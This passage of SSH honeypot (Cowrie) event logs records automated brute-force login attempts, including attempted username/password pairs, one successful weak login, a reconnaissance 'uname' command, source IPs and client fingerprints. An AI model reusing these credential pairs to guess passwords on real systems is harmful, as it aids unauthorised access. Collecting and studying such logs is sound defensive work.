openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:20.098309Z","src_ip":"91.92.42.227","session":"20ae0ec1c124","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:21.223313Z","src_ip":"91.92.42.227","session":"85efc73452a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"drcomadmin","password":"drcomadmin123","message":"login attempt [drcomadmin/drcomadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:26.199744Z","src_ip":"91.92.42.227","session":"20ae0ec1c124","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59542,"dst_ip":"10.17.0.5","dst_port":22,"session":"73673c949e88","protocol":"ssh","message":"New connection: 91.92.42.227:59542 (10.17.0.5:22) [session: 73673c949e88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:27.173724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:28.348481Z","src_ip":"91.92.42.227","session":"73673c949e88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:28.351770Z","src_ip":"91.92.42.227","session":"73673c949e88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:28.479910Z","src_ip":"91.92.42.227","session":"20ae0ec1c124","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:33.333928Z","src_ip":"91.92.42.227","session":"73673c949e88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54812,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1eaedc5371e","protocol":"ssh","message":"New connection: 91.92.42.227:54812 (10.17.0.5:22) [session: c1eaedc5371e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:34.741525Z"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:35.304721Z","src_ip":"91.92.42.227","session":"73673c949e88","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:35.667499Z","src_ip":"91.92.42.227","session":"c1eaedc5371e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:35.671217Z","src_ip":"91.92.42.227","session":"c1eaedc5371e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:38.754460Z","src_ip":"91.92.42.227","session":"c1eaedc5371e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:40.634485Z","src_ip":"91.92.42.227","session":"c1eaedc5371e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:40.637626Z","src_ip":"91.92.42.227","session":"c1eaedc5371e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:41.124809Z","src_ip":"91.92.42.227","session":"c1eaedc5371e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:41.128627Z","src_ip":"91.92.42.227","session":"c1eaedc5371e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54898,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ccad72e2aee","protocol":"ssh","message":"New connection: 91.92.42.227:54898 (10.17.0.5:22) [session: 0ccad72e2aee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:43.955813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:43.983220Z","src_ip":"91.92.42.227","session":"0ccad72e2aee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:44.050674Z","src_ip":"91.92.42.227","session":"0ccad72e2aee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"12345","message":"login attempt [debian/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:44.443543Z","src_ip":"91.92.42.227","session":"0ccad72e2aee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:46.059229Z","src_ip":"91.92.42.227","session":"0ccad72e2aee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":48398,"dst_ip":"10.17.0.5","dst_port":22,"session":"719de15d1cb3","protocol":"ssh","message":"New connection: 91.92.42.227:48398 (10.17.0.5:22) [session: 719de15d1cb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:50.621283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:51.049254Z","src_ip":"91.92.42.227","session":"719de15d1cb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:51.053894Z","src_ip":"91.92.42.227","session":"719de15d1cb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"051178","message":"login attempt [admin/051178] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:52.799825Z","src_ip":"91.92.42.227","session":"719de15d1cb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:54.697952Z","src_ip":"91.92.42.227","session":"719de15d1cb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37142,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e020711a3ca","protocol":"ssh","message":"New connection: 91.92.42.227:37142 (10.17.0.5:22) [session: 0e020711a3ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:57.370061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:57.877573Z","src_ip":"91.92.42.227","session":"0e020711a3ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:04:57.883617Z","src_ip":"91.92.42.227","session":"0e020711a3ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz@WSX","message":"login attempt [admin/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:01.125015Z","src_ip":"91.92.42.227","session":"0e020711a3ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:02.771345Z","src_ip":"91.92.42.227","session":"0e020711a3ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":46010,"dst_ip":"159.203.135.109","dst_port":22,"session":"8fc93176fd94","protocol":"ssh","message":"New connection: 80.94.92.184:46010 (159.203.135.109:22) [session: 8fc93176fd94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:03.884812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:03.950016Z","src_ip":"80.94.92.184","session":"8fc93176fd94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37192,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfeb7f31ef04","protocol":"ssh","message":"New connection: 91.92.42.227:37192 (10.17.0.5:22) [session: cfeb7f31ef04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:04.196954Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:04.769214Z","src_ip":"80.94.92.184","session":"8fc93176fd94","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:05.182174Z","src_ip":"91.92.42.227","session":"cfeb7f31ef04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:05.186598Z","src_ip":"91.92.42.227","session":"cfeb7f31ef04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:06.137914Z","src_ip":"80.94.92.184","session":"8fc93176fd94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:07.348689Z","src_ip":"80.94.92.184","session":"8fc93176fd94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1234567890","message":"login attempt [minecraft/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:08.708562Z","src_ip":"91.92.42.227","session":"cfeb7f31ef04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":48322,"dst_ip":"10.17.0.5","dst_port":22,"session":"658c09a8c129","protocol":"ssh","message":"New connection: 91.92.42.227:48322 (10.17.0.5:22) [session: 658c09a8c129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:10.719202Z"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:11.189577Z","src_ip":"91.92.42.227","session":"cfeb7f31ef04","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:11.715400Z","src_ip":"91.92.42.227","session":"658c09a8c129","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-